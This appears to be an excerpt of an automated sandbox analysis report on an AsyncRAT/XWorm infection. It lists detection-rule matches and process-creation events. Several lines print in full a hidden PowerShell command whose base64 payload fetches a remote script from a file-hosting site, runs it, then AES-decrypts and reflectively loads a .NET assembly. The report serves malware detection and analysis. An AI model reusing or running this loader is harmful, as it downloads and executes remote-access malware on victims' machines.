Source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 23.2.powershell.exe.2cc07141480.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 23.2.powershell.exe.2cc07141480.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.2325412269.000001D3133AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000012.00000002.2074612069.000001E1AA261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000017.00000002.2248750195.000002CC07141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7456, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7900, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7312, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2720, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Uses shutdown.exe to shutdown or reboot the system

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\shutdown.exe shutdown.exe -L

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3J